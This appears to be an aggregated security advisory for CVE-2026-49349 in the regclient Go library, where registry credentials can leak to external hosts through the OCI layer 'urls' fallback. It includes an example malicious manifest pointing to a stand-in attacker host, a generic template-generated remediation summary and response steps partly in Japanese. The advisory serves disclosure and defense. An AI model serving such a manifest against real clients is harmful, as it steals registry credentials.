Vulnerability in github.com/regclient/regclient (CVE-2026-49349)
Summary
Vulnerability in github.com/regclient/regclient (CVE-2026-49349). Confidential information can be exposed externally. Exploitable via urls. Mitigation: upgrade to 0.11.5 or later.
Original description
The description as published by the source.
Credentials for a registry may be inadvertently leaked to external servers. A prerequisite for this attack is a malicious registry server, a malicious blob store, or a registry that does not restrict the external URLs for foreign blobs.
Example attack
A malicious registry serves an OCI image manifest containing a layer descriptor with a urls field pointing to an attacker controlled host:
{
"mediaType": "application/vnd.oci.image.layer.v1.tar+gzip",
"digest": "sha256:...",
"size": 1024,
"urls": ["https://malicious.example.org/blobs/sha256/..."]
}
When regclient fetches the image and the primary blob request to the registry fails, it falls back to the URLs in the layer descriptor. If the external server requests authentication, regclient would send the credentials for the original registry server.
Timeline
- 2026-05-25: Advisory submitted
- 2026-05-26: Fix released
Credit
Theodoros Lampropoulos, Threat Detection Engineer, Odyssey Cyber Security
Source: GitHub Security Advisories (Global) NVD GitHub Advisory
Auto-generated summary
Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.
A vulnerability tracked as CVE-2026-49349 has been found in github.com/regclient/regclient.
Attackers can target a specific entry point like urls over the network to misuse the product.
Confidential information can be exposed externally. CVSS score: 6.8/10.
What to do: upgrade github.com/regclient/regclient to 0.11.5 or later.
If unsure, ask your IT team or search "github.com/regclient/regclient CVE-2026-49349" on the vendor's site.
CVE-2026-49349 (github.com/regclient/regclient) — CWE-522 / CVSS v3 6.8
Attack vector: remote (network-reachable)
Attack surface: urls
Patched: 0.11.5 — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.
A vulnerability (CWE-522) exists in github.com/regclient/regclient. Attackers reach the vulnerable code path via urls.
Check the vendor advisory for the affected versions of github.com/regclient/regclient. Attack surface: urls.
Severity: Medium (CVSS 6.8/10). Confidential information can be exposed externally.
Update to 0.11.5.
Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.
Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r 'github.com/regclient/regclient' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.
Response actions
Concrete steps and command examples for SOC/SRE teams to execute in order
-
1Identify exposure identify
grep -r 'github.com/regclient/regclient' . | grep -v node_modulesリポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で
github.com/regclient/regclientを grep し、稼働しているサービス・バージョンを把握する。 -
2Apply patch patch
Upgrade github.com/regclient/regclient to 0.11.5ステージング環境で 0.11.5 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。
-
3Post-deployment verification verify
Confirm patched version is live in productionパッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。
Affected packages
References
- package github.com
- web security-advisories@github.com
- web github.com